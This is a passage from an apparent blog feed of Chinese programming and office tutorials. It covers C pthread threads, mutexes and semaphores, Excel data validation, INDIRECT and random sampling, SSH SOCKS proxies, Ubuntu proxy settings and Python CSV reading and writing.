子執行緒函數 void *child(void *arg) { int *input = (int *) arg; // 取得資料 int *result = malloc(sizeof(int) * 1); // 配置記憶體 result[0] = input[0] + input[1]; // 進行計算 pthread_exit((void *) result); // 傳回結果 } // 主程式 int main() { pthread_t t; void *ret; // 子執行緒傳回值 int input[2] = {1, 2}; // 輸入的資料 // 建立子執行緒，傳入 input 進行計算 pthread_create(\u0026amp;t, NULL, child, (void*) input); // 等待子執行緒計算完畢 pthread_join(t, \u0026amp;ret); // 取得計算結果 int *result = (int *) ret; // 輸出計算結果 printf(\u0026#34;%d + %d = %d\\n\u0026#34;, input[0], input[1], result[0]); // 釋放記憶體 free(result); return 0; } 執行的輸出為：\n1 + 2 = 3 這個程式中，子執行緒呼叫 malloc 配置了記憶體空間，而主執行緒在使用完該記憶體空間之後，負責釋放掉不再使用的記憶體。\n由主執行緒管理記憶體 多執行緒之間的記憶體管理其實很不方便，也很容易不小心寫錯，造成記憶體流失（memory leak）問題，若想避免這個問題，可以統一由主執行緒來管理記憶體，以下是一個範例：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; // 自己定義的資料結構 typedef struct my_data { int a; int b; int result; } my_data; // 子執行緒函數 void *child(void *arg) { my_data *data=(my_data *)arg; // 取得資料 int a = data-\u0026gt;a; int b = data-\u0026gt;b; int result = a + b; // 進行計算 data-\u0026gt;result = result; // 將結果放進 data 中 pthread_exit(NULL); } // 主程式 int main() { pthread_t t; my_data data; data.a = 1; data.b = 2; // 建立子執行緒，傳入 data 進行計算 pthread_create(\u0026amp;t, NULL, child, (void*) \u0026amp;data); // 等待子執行緒計算完畢 pthread_join(t, NULL); // 從 data.result 取回計算結果 printf(\u0026#34;%d + %d = %d\\n\u0026#34;, data.a, data.b, data.result); return 0; } 這個例子中，我們使用自己定義的資料結構（struct），將所有的輸入資料與輸出結果欄位都包裝在一個 my_data 中，以指標的方式傳入子執行緒中，讓子執行緒在計算完成後，將結果直接寫入 my_data 的 result 欄位，這樣就不需要另外配置記憶體空間，而主執行緒也可以直接取得計算結果。\n互斥鎖（Mutex） 在平行化的程式中，如果發生多個執行緒需要同時存取同一個位置的資料時，就有可能會因為同時存取而產生錯誤，在下面這個例子中，我們定義一個全域變數 counter，用來紀錄某個量的總和，而我們希望在多個執行緒中同時計算，然後統一將加總的結果放在其中。\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; // 計數器 int counter = 0; // 子執行緒函數 void* child() { for(int i = 0;i \u0026lt; 3;++i) { int tmp = counter; sleep(1); // 故意讓它延遲一下 counter = tmp + 1; printf(\u0026#34;Counter = %d\\n\u0026#34;, counter); } pthread_exit(NULL); } // 主程式 int main() { pthread_t t1, t2; pthread_create(\u0026amp;t1, NULL, child, NULL); pthread_create(\u0026amp;t2, NULL, child, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return ; } 在這段程式碼中，我們放了兩個子執行緒，每個子執行緒用迴圈跑了三次計算，所以最後的 counter 預期應該是 6，但由於我們將 counter 的值取出來，計算出新的值之後在放回去，兩個子執行緒同時都這樣做的話，計算結果就會不如預期：\nCounter = 1 Counter = 1 Counter = 2 Counter = 2 Counter = 3 Counter = 3 這個問題的解決方法就是加入一個互斥鎖（mutex），將那些不可以被多個執行緒同時執行的程式碼片段，用互斥鎖包起來，當一個執行緒執行到該處時，就會先上鎖，避免其他的執行緒進入，若其他的執行緒同時也要執行該處的程式碼時，就必須等待先前的執行緒執行完之後，才能接著進入（也就是排隊輪流使用的概念），這樣就可以避免多個執行緒混雜執行，讓結果出錯的問題。\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; // 計數器 int counter = 0; // 加入 Mutex pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; // 子執行緒函數 void* child() { for(int i = 0;i \u0026lt; 3;++i) { pthread_mutex_lock( \u0026amp;mutex1 ); // 上鎖 int tmp = counter; sleep(1); counter = tmp + 1; pthread_mutex_unlock( \u0026amp;mutex1 ); // 解鎖 printf(\u0026#34;Counter = %d\\n\u0026#34;, counter); } pthread_exit(NULL); } // 主程式 int main() { pthread_t t1, t2; pthread_create(\u0026amp;t1, NULL, child, NULL); pthread_create(\u0026amp;t2, NULL, child, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; } Counter = 1 Counter = 2 Counter = 3 Counter = 4 Counter = 5 Counter = 6 在 pthread_mutex_lock 與 pthread_mutex_unlock 之間的程式碼就是一次只容許一個執行緒執行的部份，也就是說雖然是平行化的程式，但是被包住的這部份只能以單一執行緒來執行，所以在設計程式時，要盡可能減少被互斥鎖包住的程式碼，才能讓程式執行效能更好。\n旗標（Semaphore） 如果我們現在有兩個執行緒，分別負責一份工作的前半段與後半段，也就是說第一個執行緒會把它處理好的資料，發包給第二個執行緒繼續處理，而兩個執行緒的處理速度有可能不同，這種狀況我們就可以使用旗標（Semaphore）的方式來串接。\n旗標本身就是一個計數器，也就是紀錄目前尚未處理的工作數量，我們可以使用 sem_wait 來判斷是否有尚未處理的工作，當工作數量大於 0 時，sem_wait 就會讓執行緒進入處理，並且把工作數量遞減 1，而如果工作數量為 0 的時候，則會讓執行緒等待，直到有新的工作來臨時，才讓執行緒進入。\n另外在產生工作的執行緒中，可以使用 sem_post 放入新的工作（也就讓將計數器遞增 1），這樣就可以將多個執行緒串接起來處理大型的工作流程。\n以下是一個簡單的範例：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;semaphore.h\u0026gt; sem_t semaphore; // 旗標 int counter = 0; // 子執行緒函數 void* child() { for(int i = 0;i \u0026lt; 5;++i) { sem_wait(\u0026amp;semaphore); // 等待工作 printf(\u0026#34;Counter = %d\\n\u0026#34;, ++counter); sleep(1); } pthread_exit(NULL); } // 主程式 int main(void) { // 初始化旗標，僅用於本行程，初始值為 0 sem_init(\u0026amp;semaphore, 0, 0); pthread_t t; pthread_create(\u0026amp;t, NULL, child, NULL); // 送出兩個工作 printf(\u0026#34;Post 2 jobs.\\n\u0026#34;); sem_post(\u0026amp;semaphore); sem_post(\u0026amp;semaphore); sleep(4); // 送出三個工作 printf(\u0026#34;Post 3 jobs.\\n\u0026#34;); sem_post(\u0026amp;semaphore); sem_post(\u0026amp;semaphore); sem_post(\u0026amp;semaphore); pthread_join(t, NULL); return 0; } Post 2 jobs. Counter = 1 Counter = 2 Post 3 jobs. Counter = 3 Counter = 4 Counter = 5 在這個程式中，主執行緒負責派送工作，工作有時候多、有時候少，而子執行緒則是以每秒處理一個工作的速度，消化接收到的工作。\n旗標在使用前要先以 sem_init 初始化，其第二個參數是指定是否要讓其他的行程（process）共用旗標，這裡我們是單一行程、多執行緒的程式，所以第二個參數設定為 0 即可；第三個參數則是設定旗標的初始值。\n旗標本身只是紀錄工作的數量，並且控制執行緒的執行，並沒有負責資料的配送，通常我們可以自己實做一個資料佇列（queue），配合旗標來計算索引，讓子執行緒從佇列中取得資料進行處理。\n參考資料 YoLinux.com Gribble Lab The Geek Stuff ","permalink":"https://blog.gtwang.org/programming/pthread-multithreading-programming-in-c-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 C 語言中使用 \u003ccode\u003epthread\u003c/code\u003e 開發多執行緒的平行化程式，用多顆 CPU 加速計算。\u003c/p\u003e\n\u003cp\u003e現在電腦的 CPU 都具備多顆核心，因此在使用 C 語言撰寫計算用的程式時，若能夠善用多核新的 CPU 進行平行運算，可以讓計算速度大幅提昇。\u003c/p\u003e","title":"C 語言 pthread 多執行緒平行化程式設計入門教學與範例"},{"content":"這裡介紹如何在 Excel 中使用資料驗證功能，建立下拉式選單，讓使用者快速輸入資料，避免打錯字問題。\n如果要製作一個 Excel 表格，讓使用者填入自己的資料，屬於選項性質的欄位就可以使用 Excel 的資料驗證功能，製作成下拉式選單，讓使用者以滑鼠點選，既可節省打字時間，亦可避免不小心打錯字。\n這裡會介紹單層的下拉式選單製作方法，若要製作兩階層的下拉式選單，請參考兩層下拉式選單的教學。\n下拉式選單 假設我們現在有一張 Excel 表格，需要讓使用者填入姓名、性別、血型與生日這些基本資料。\n姓名的欄位當然免不了要打字，但是其餘的欄位就可以利用「資料驗證」的功能，加入下拉式選單，讓使用者更方便輸入資料，以下是操作步驟。\nStep 1\n選擇某一欄的儲存格範圍，這裡我們先以「性別」欄位作為示範。選取時不要包含標題列。\nStep 2\n選擇「資料」籤頁，然後點選「資料驗證」。\nStep 3\n設定資料驗證準則，這裡我們的欄位是性別，所以可能的值只有「男」與「女」兩種選項，像這種簡單的選擇題，就可以選擇使用「清單」的方式，然後在「來源」欄位填入「男」與「女」這兩個值，不同選項之間使用逗號分隔，也就是這樣：\n男,女 Step 4\n設定好資料驗證準則之後，在表格中就會自動出現下拉式選單，而其中的選項就是我們自己設定的選項值。\n血型欄位 Step 1\n血型的欄位若要加入下拉式選單，做法完全相同，只是選項的設定要改成各種血型而已：\nA,B,AB,O Step 2\n設定好血型欄位的資料驗證準則之後，就會出現血型的下拉式選單了。\n基本上只要是類似這種簡單的選擇問題，都可以按照這樣的方式建立下拉式選單。\n日期的資料驗證 如果輸入資料的類型是屬於日期或時間的話，最常見的資料驗證就是限制日期或時間的容許範圍，以下是日期資料的資料驗證操作方式。\nStep 1\n按照同樣的方式，在設定資料驗證準則時，選擇「日期」，接著設定允許的日期規則。\nStep 2\n設定好日期規則之後，雖然沒有辦法出現下拉式選單，不過至少可以幫助使用者檢查資料的正確性，如果輸入不允許的日期，就會出現這樣的錯誤訊息。\n日期下拉式選單 如果真的想要在日期欄位中使用下拉式選單，讓使用者從幾個固定的日期中選擇，做法就跟一般的選擇問題相同，只是選項要填入指定的日期。\n這樣就可以從預先訂好的幾個日期中選擇了。\n動態下拉式選單 如果我們選項會時常更動的話，可以將選項寫在另外一個表格中，直接從該表格中取得允許的選項值。\n以下我們要填入每個人的職稱，而可用的職稱列表放在右方的表格中，方便時常修改，這樣的狀況也可以用「資料驗證」功能製作下拉式選單。\nStep 1\n按照同樣的方式，在設定資料驗證準則時，選擇「清單」的方式，然後在「來源」的欄位中，填入職稱列表的位置（可以點選「來源」欄位右方的小按鈕，用滑鼠在表格上選擇範圍）。\nStep 2\n這樣就完成了一個動態的下拉式表單了，未來如果職稱列表有更動的話，這個下拉式選單內容也會隨著更新。\n參考資料 電癮院 Office ","permalink":"https://blog.gtwang.org/windows/excel-data-validation-drop-down-menu-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Excel 中使用資料驗證功能，建立下拉式選單，讓使用者快速輸入資料，避免打錯字問題。\u003c/p\u003e\n\u003cp\u003e如果要製作一個 Excel 表格，讓使用者填入自己的資料，屬於選項性質的欄位就可以使用 Excel 的資料驗證功能，製作成下拉式選單，讓使用者以滑鼠點選，既可節省打字時間，亦可避免不小心打錯字。\u003c/p\u003e","title":"Excel 資料驗證功能，製作下拉式選單教學"},{"content":"本篇介紹如何使用 Excel 的 INDIRECT 函數製作動態參照的表格，隨著資料自動產生對應的儲存格參照。\nINDIRECT 函數用法 INDIRECT 這個函數可以依據文字所指定的儲存格位置，取得該儲存格的內容，其語法如下：\n=INDIRECT(文字位置) 其中的文字位置就是一般我們所使用的儲存格位置，只不過要以文字的方式表示，例如放入 \u0026quot;A3\u0026quot; 這個文字的話，INDIRECT 函數就會傳回 A3 儲存格內的值。\n當然在實務上，我們並不會直接將普通的文字位置放在 INDIRECT 函數中使用（如果要這樣寫的話，不如直接寫 A3 這樣的參照就好了），而是讓 INDIRECT 從其他的地方取得文字的儲存格位置，然後再去把對應位置的資料取出來。\n以下是一個簡單的範例，我們讓使用者輸入「儲存格位置」，然後再使用 INDIRECT 函數將該位置的內容取出來：\n=INDIRECT(C2) INDIRECT 也可以取用不同工作表的資料，只要在位置的指定時，使用含有工作表的位置即可，語法如下：\n工作表!儲存格位置 假設我們的工作表2的表格如下：\n若要取用工作表2的資料，只要改動「儲存格位置」即可，而原本的 INDIRECT 的公式內容維持不變：\n如果是不同的 Excel 檔案，也是可以直接靠著 INDIRECT 取得資料，含有 Excel 檔案的位置語法如下：\n[檔案名稱]工作表!儲存格位置 假設我們有另外一個 Excel 檔為清單.xlsx，內容如下：\n要取用不同檔案的內容，同樣也是改動「儲存格位置」即可：\n動態參照表格 熟悉了 INDIRECT 函數的使用方式之後，接下來就可以使用這個函數製作動態參照的表格。\n在 Excel 的公式中，\u0026amp; 這個運算子可以將兩段文字串接起來，例如 \u0026quot;AB\u0026quot;\u0026amp;\u0026quot;CD\u0026quot; 在計算後就會變成 \u0026quot;ABCD\u0026quot;。\n以下我們利用 \u0026amp; 運算子，將使用者輸入的「Excel 檔案」、「工作表」與「儲存格位置」三的欄位組合成完整的位置，然後再利用 INDIRECT 函數取出其中的資料：\n=INDIRECT(\u0026#34;[\u0026#34;\u0026amp;A2\u0026amp;\u0026#34;]\u0026#34;\u0026amp;B2\u0026amp;\u0026#34;!\u0026#34;\u0026amp;C2) 參考資料 Exceljet ","permalink":"https://blog.gtwang.org/windows/excel-indirect-function-dynamic-workbook-reference-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 Excel 的 \u003ccode\u003eINDIRECT\u003c/code\u003e 函數製作動態參照的表格，隨著資料自動產生對應的儲存格參照。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"indirect-函數用法\"\u003e\u003ccode\u003eINDIRECT\u003c/code\u003e 函數用法\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003eINDIRECT\u003c/code\u003e 這個函數可以依據文字所指定的儲存格位置，取得該儲存格的內容，其語法如下：\u003c/p\u003e","title":"Excel INDIRECT 函數製作動態參照表格教學與範例"},{"content":"這裡介紹如何使用自己的 Linux 伺服器配合 SSH 加密通道，打造安全加密的代理伺服器。\n現在許多的網站都沒有使用加密的連線，所以所有的資料封包在網路上都可以被輕易竊取，比較不安全。\n如果想讓上網的連線更安全一些，可以用自己在外部的 Linux 伺服器，以 SSH 加密通道（SSH tunnel）打造一個代理伺服器（proxy），讓原本的上網連線可以走安全加密的通道，多一層保護。\nSSH 加密通道的角色就是在使用者端與自己的 Linux 伺服器之間，架設一個安全的通道，讓原本的網路資料透過這個通道傳送出去，強化前半段的網路通訊。\n以下是在 Windows client 與 Linux client 中，以自己的 Linux 伺服器建立與使用加密代理伺服器的方法。\nWindows Client 在 Windows 的系統上，若想建立 SSH 加密通道的話，最方便的方式就是使用 putty 這個 SSH 連線工具。\nStep 1\n請先從 putty 的官方網站下載軟體並執行之。\nStep 2\n填入自己放在外部的 Linux 伺服器位址。\nStep 3\n選擇「SSH」之下的「Tunnels」設定頁面。\nStep 4\n若要建立作為代理伺服器（proxy）用的 SSH 加密通道，首先選擇一個連接埠（port）號碼，填入「Source port」欄位，這裡我使用 8080 這個連接埠作為示範。接著在下方的選項中，點選「Dynamic」，最後按下「Add」按鈕，加入這組設定值。\nStep 5\n點選「Open」即可開啟 SSH 的連線，然後依照一般的 SSH 登入方式，登入自己的 Linux 系統，在登入之後不需要執行任何指令，只要把這個 SSH 連線的視窗留著即可。\n這樣就把 SSH 的加密通道建立好了，接著要設定 Windows 系統上的代理伺服器設定，讓 Windows 可以透過這個 SSH 加密通道上網。\nStep 6\n在 Windows 10 的搜尋功能中，尋找「網際網路選項」，找到後把它開啟。\nStep 7\n選擇「連線」籤頁，點選「LAN 設定」。\nStep 8\n將「自動偵測設定」取消，並將下方的 Proxy 伺服器功能打勾，並點選「進階」按鈕。（這裡的位址與連接埠請留白，不要填）\nStep 9\n在「Socks」這一欄的位址填入 localhost，連接埠則填入剛剛上面設定的 SSH 加密通道連接埠，以這裡的例子來說就是 8080。\n這樣就完成所有的設定了，接下來只打開瀏覽器（例如 Google Chrome 或 Firefox 等）上網，就會自動透過 SSH 加密通道上網。\nLinux Client 若要在 Linux 的 client 上建立 SSH 的加密通道可以使用以下的指令：\nssh -D 8080 user@my.host.org 其中 -D 參數所附帶的 8080 就是開在本機的連接埠號，登入時就跟一般的 SSH 遠端登入一樣輸入帳號與密碼，登入之後不需要執行任何指令，只要保留這個 SSH 的連線即可。\n接著調整系統上的代理伺服器設定，以 Ubuntu Linux 來說，先在系統設定值中，選擇「網路」。\n然後在「Socks 主機」的部份填入 localhost，連接埠則填入自己設定的值。\n設定好之後，關閉瀏覽器再重新打開，這樣即可透過 SSH 加密通道上網了。\n要設定系統的代理伺服器，除了圖形介面之外，也可以手動直接更改 /etc/environment 這個設定檔，加入以下這一行設定：\nsocks_proxy=\u0026#34;socks://localhost:8080/\u0026#34; 不管是使用圖形介面來設定，還是直接更改系統設定檔，效果都相同。\n如果不想更改整個系統的代理伺服器設定，也可以直接修改瀏覽器的代理伺服器設定，以下是 Firefox 的設定範例：\n","permalink":"https://blog.gtwang.org/linux/ssh-tunnel-socks-proxy-forwarding-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用自己的 Linux 伺服器配合 SSH 加密通道，打造安全加密的代理伺服器。\u003c/p\u003e\n\u003cp\u003e現在許多的網站都沒有使用加密的連線，所以所有的資料封包在網路上都可以被輕易竊取，比較不安全。\u003c/p\u003e","title":"SSH Tunnel 通道打造加密 Proxy，透過外部 Linux 伺服器上網"},{"content":"這裡介紹如何在 Ubuntu Linux 中設定代理伺服器。\n代理伺服器（proxy）是上網時常會用到的功能，可以增加上網的速度，或是過濾有害的網路內容等，以下是在 Ubuntu Linux 中設定代理伺服器的方法介紹。\n圖形介面 若使用 Ubuntu Linux 桌面發行版的話，先開啟「系統設定值」，然後選擇「網路」：\n接著選擇「網路代理伺服器」，就可以輸入代理伺服器的資料了。\n文字介面 如果沒有圖形介面可以使用的話，也可以從終端機中直接修改系統的 /etc/environment 設定檔，在這個檔案中，加入代理伺服器的設定：\nhttp_proxy=\u0026#34;http://myproxy1.server.com:8080/\u0026#34; https_proxy=\u0026#34;https://myproxy2.server.com:8080/\u0026#34; ftp_proxy=\u0026#34;ftp://myproxy3.server.com:8080/\u0026#34; socks_proxy=\u0026#34;socks://myproxy4.server.com:8080/\u0026#34; no_proxy=\u0026#34;localhost,127.0.0.1,localaddress,.localdomain.com\u0026#34; 這一段是大寫的版本：\nHTTP_PROXY=\u0026#34;http://myproxy1.server.com:8080/\u0026#34; HTTPS_PROXY=\u0026#34;https://myproxy2.server.com:8080/\u0026#34; FTP_PROXY=\u0026#34;ftp://myproxy3.server.com:8080/\u0026#34; SOCKS_PROXY=\u0026#34;socks://myproxy4.server.com:8080/\u0026#34; NO_PROXY=\u0026#34;localhost,127.0.0.1,localaddress,.localdomain.com\u0026#34; 由於有些應用程式只會讀取大寫的設定，而有些則只會讀取小的設定，所以建議兩者都寫。\n參考資料 wu-boy ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-proxy-configuration-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 中設定代理伺服器。\u003c/p\u003e\n\u003cp\u003e代理伺服器（proxy）是上網時常會用到的功能，可以增加上網的速度，或是過濾有害的網路內容等，以下是在 Ubuntu Linux 中設定代理伺服器的方法介紹。\u003c/p\u003e","title":"Ubuntu Linux 代理伺服器設定教學"},{"content":"這裡介紹如何在 Python 中使用 csv 模組，讀取與寫入逗點分隔檔。\n逗點分隔（Comma-Separated Values，簡稱 csv）是一種簡單的文字檔格式，以逗號分隔不同欄位的資料，很多軟體在儲存與交換表格資料時都支援這樣的格式。\n在 Python 中若要讀取或產生 csv 的檔案，可以使用內建的 csv 模組，以下是使用方式以及範例程式碼。\n讀取 CSV 檔案 假設我們有一個 csv 檔案 iris.csv，其內容如下：\nsepal_length,sepal_width,petal_length,petal_width,species 5.1,3.5,1.4,0.2,setosa 4.9,3,1.4,0.2,setosa 4.7,3.2,1.3,0.2,setosa 4.6,3.1,1.5,0.2,setosa [略] 我們可以使用下面這段程式碼將這個 csv 檔的內容讀取出來：\nimport csv # 開啟 CSV 檔案 with open(\u0026#39;iris.csv\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: # 讀取 CSV 檔案內容 rows = csv.reader(csvfile) # 以迴圈輸出每一列 for row in rows: print(row) 我們使用 csv.reader 讀取出來的 rows 會是一個二維的 list，裡面就是整張表格的資料，這裡我們把每一列的 list 直接輸出，執行後會像這樣：\n['sepal_length', 'sepal_width', 'petal_length', 'petal_width', 'species'] ['5.1', '3.5', '1.4', '0.2', 'setosa'] ['4.9', '3', '1.4', '0.2', 'setosa'] ['4.7', '3.2', '1.3', '0.2', 'setosa'] ['4.6', '3.1', '1.5', '0.2', 'setosa'] [略] 這裡在開啟 csv 檔案時加上了 newline='' 參數，這是為了讓資料中包含的換行字元可以正確被解析，所以建議在讀取 csv 檔案時都固定加入這個參數。\n指定分隔字元 如果資料欄位之間的分隔字元不是使用預設的逗號，而是其他字元的話，在讀取時就要自行指定欄位的分隔字元。假設我們要讀取 Linux 的 /etc/passwd 這個檔案，資料如下：\nroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync [略] 這個檔案內容的各個欄位是以冒號（:）來分隔的，我們可以使用以下這段程式碼來讀取：\nimport csv with open(\u0026#39;/etc/passwd\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: # 以冒號分隔欄位，讀取檔案內容 rows = csv.reader(csvfile, delimiter=\u0026#39;:\u0026#39;) for row in rows: print(row) 輸出如下：\n['root', 'x', '0', '0', 'root', '/root', '/bin/bash'] ['daemon', 'x', '1', '1', 'daemon', '/usr/sbin', '/usr/sbin/nologin'] ['bin', 'x', '2', '2', 'bin', '/bin', '/usr/sbin/nologin'] ['sys', 'x', '3', '3', 'sys', '/dev', '/usr/sbin/nologin'] ['sync', 'x', '4', '65534', 'sync', '/bin', '/bin/sync'] [略] 讀取成 Dictionary 我們也可以將 csv 檔案的內容讀取進來之後，轉為 Python 的 dictionary 格式，這樣在存取各定資料時會方便一些：\nimport csv with open(\u0026#39;iris.csv\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: # 讀取 CSV 檔內容，將每一列轉成一個 dictionary rows = csv.DictReader(csvfile) # 以迴圈輸出指定欄位 for row in rows: print(row[\u0026#39;sepal_length\u0026#39;], row[\u0026#39;species\u0026#39;]) 這個例子中我們使用以 csv.DictReader 來讀取 CSV 檔案的內容，它會自動把第一列（row）當作欄位的名稱，將第二列以後的每一列轉為 dictionary，這樣我們就可以使用欄位的名稱來存取資料。執行後的輸出會像這樣：\n5.1 setosa 4.9 setosa 4.7 setosa 4.6 setosa 5 setosa 寫入 CSV 檔案 如果我們在程式中產生了表格的資料，想要儲存為 csv 檔案，可以使用以下這段程式碼：\nimport csv # 開啟輸出的 CSV 檔案 with open(\u0026#39;output.csv\u0026#39;, \u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: # 建立 CSV 檔寫入器 writer = csv.writer(csvfile) # 寫入一列資料 writer.writerow([\u0026#39;姓名\u0026#39;, \u0026#39;身高\u0026#39;, \u0026#39;體重\u0026#39;]) # 寫入另外幾列資料 writer.writerow([\u0026#39;令狐沖\u0026#39;, 175, 60]) writer.writerow([\u0026#39;岳靈珊\u0026#39;, 165, 57]) 產生的 output.csv 檔案內容會像這樣：\n姓名,身高,體重 令狐沖,175,60 岳靈珊,165,57 指定分隔字元 輸出 csv 檔案時也可以自行指定欄位的分隔字元，例如：\nimport csv with open(\u0026#39;output.csv\u0026#39;, \u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: # 以空白分隔欄位，建立 CSV 檔寫入器 writer = csv.writer(csvfile, delimiter=\u0026#39; \u0026#39;) writer.writerow([\u0026#39;姓名\u0026#39;, \u0026#39;身高\u0026#39;, \u0026#39;體重\u0026#39;]) writer.writerow([\u0026#39;令狐沖\u0026#39;, 175, 60]) writer.writerow([\u0026#39;岳靈珊\u0026#39;, 165, 57]) 輸出的 output.csv 檔案內容會變成這樣：\n姓名 身高 體重 令狐沖 175 60 岳靈珊 165 57 一次寫入二維表格 如果我們的資料是已經整理好的二維表格，也可以一次就把整張表格寫進 csv 檔案中：\nimport csv # 二維表格 table = [ [\u0026#39;姓名\u0026#39;, \u0026#39;身高\u0026#39;, \u0026#39;體重\u0026#39;], [\u0026#39;令狐沖\u0026#39;, 175, 60], [\u0026#39;岳靈珊\u0026#39;, 165, 57] ] with open(\u0026#39;output.csv\u0026#39;, \u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: writer = csv.writer(csvfile) # 寫入二維表格 writer.writerows(table) 這樣產生的 csv 檔案也會跟上面的例子相同。\n寫入 Dictionary 如果我們在 Python 中的資料格式是 dictionary，也可以使用 csv.DictWriter 直接將 dictionary 寫入 csv 檔案中：\nimport csv with open(\u0026#39;output.csv\u0026#39;, \u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: # 定義欄位 fieldnames = [\u0026#39;姓名\u0026#39;, \u0026#39;身高\u0026#39;, \u0026#39;體重\u0026#39;] # 將 dictionary 寫入 CSV 檔 writer = csv.DictWriter(csvfile, fieldnames=fieldnames) # 寫入第一列的欄位名稱 writer.writeheader() # 寫入資料 writer.writerow({\u0026#39;姓名\u0026#39;: \u0026#39;令狐沖\u0026#39;, \u0026#39;身高\u0026#39;: 175, \u0026#39;體重\u0026#39;: 60}) writer.writerow({\u0026#39;姓名\u0026#39;: \u0026#39;岳靈珊\u0026#39;, \u0026#39;身高\u0026#39;: 165, \u0026#39;體重\u0026#39;: 57}) 此範例輸出的檔案內容也跟上面的例子相同。\n參考資料 Python 2 Document Python 3 Document ","permalink":"https://blog.gtwang.org/programming/python-csv-file-reading-and-writing-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Python 中使用 \u003ccode\u003ecsv\u003c/code\u003e 模組，讀取與寫入逗點分隔檔。\u003c/p\u003e\n\u003cp\u003e逗點分隔（Comma-Separated Values，簡稱 csv）是一種簡單的文字檔格式，以逗號分隔不同欄位的資料，很多軟體在儲存與交換表格資料時都支援這樣的格式。\u003c/p\u003e","title":"Python 讀取與寫入 CSV 檔案教學與範例"},{"content":"這裡介紹如何從 Excel 的名單表格中，隨機抽出一筆或多筆樣本，產生中獎名單、抽樣調查名冊等。\n假設我們的 Excel 表格中有一些名單資料，類似像這樣：\n而在現在我們想要從中以隨機亂數的方式，取出一筆或是多筆的樣本資料，作為中獎名單，或是抽樣調查名冊等，以下是操作方法教學。\n隨機取出一筆資料 如果我們只需要從名單中取出單一筆資料，可以使用以下這個 INDEX、RANDBETWEEN 與 ROWS 三個函數的組合：\n=INDEX(名單範圍,RANDBETWEEN(1,ROWS(名單範圍))) 這個公式是先以 ROWS 函數取得名單的數量，接著靠著 RANDBETWEEN 函數產生一個介於 1 到名單數量之間的隨機整數，最後依照這個隨機的整數作為索引值，以 INDEX 函數取出對應位置的資料。\n這個公式適用於直式的表格，只要把名單範圍套進去即可：\n=INDEX(B2:B11,RANDBETWEEN(1,ROWS(B2:B11))) 在公式撰寫好了之後，會自動抽出一筆中獎人資料，如果想要讓 Excel 重新產生隨機的中獎人，可以按下 F9 鍵，讓 Excel 重新計算表格中的公式。\n隨機取出多筆資料 若要從名單中取出多筆資料，如果使用上面介紹的單筆抽樣的公式直接複製的話，也是可以產生隨機的名單，但是這樣做的話，會容易抽出重複的名單。\n若想產生取後不放回的名單（也就是不重複的名單），可以使用亂數的資料配合 RANK 函數來達到，以下是操作步驟。\nStep 1\n首先在名單資料旁新增一個亂數欄位，並以 RAND 函數產生亂數的資料：\n=RAND() Step 2\n接著使用以下這個公式，抽出中獎人名單：\n=INDEX(名單範圍,RANK(亂數值,亂數範圍)) 這個公式會使用 RANK 函數從亂數資料中，產生隨機的整數，而由於每次指定的亂數值都是不同的，所以產生的隨機索引值也就不會重複，最後將索引值交給 INDEX 函數抽出不重複的名單。\n由於我們要將這個公式套用至多個儲存格中，所以名單範圍以及亂數範圍必須以絕對位置來表示，就像這樣：\n=INDEX($B$2:$B$16,RANK(C2,$C$2:$C$16)) 參考資料 wikiHow Exceljet Ablebits.com ","permalink":"https://blog.gtwang.org/windows/excel-create-random-sample-tutorial/","summary":"\u003cp\u003e這裡介紹如何從 Excel 的名單表格中，隨機抽出一筆或多筆樣本，產生中獎名單、抽樣調查名冊等。\u003c/p\u003e\n\u003cp\u003e假設我們的 Excel 表格中有一些名單資料，類似像這樣：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"名單資料\" loading=\"lazy\" src=\"/windows/excel-create-random-sample-tutorial/excel-create-random-sample-tutorial-20180321-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e而在現在我們想要從中以隨機亂數的方式，取出一筆或是多筆的樣本資料，作為中獎名單，或是抽樣調查名冊等，以下是操作方法教學。\u003c/p\u003e","title":"Excel 隨機抽樣教學：抽出中獎名單，產生抽樣調查名冊"},{"content":"這裡介紹如何使用 sort 指令排序文字資料，並提供一些常用的範例指令稿。\n在 Linux 中的 sort 指令可以用來處理各種文字資料的排序問題，例如根據數值大小、月份等資料排序，反向或亂數排序等。以下是 sort 指令的使用教學與實用範例。\n基本用法 假設我們有一個文字檔案 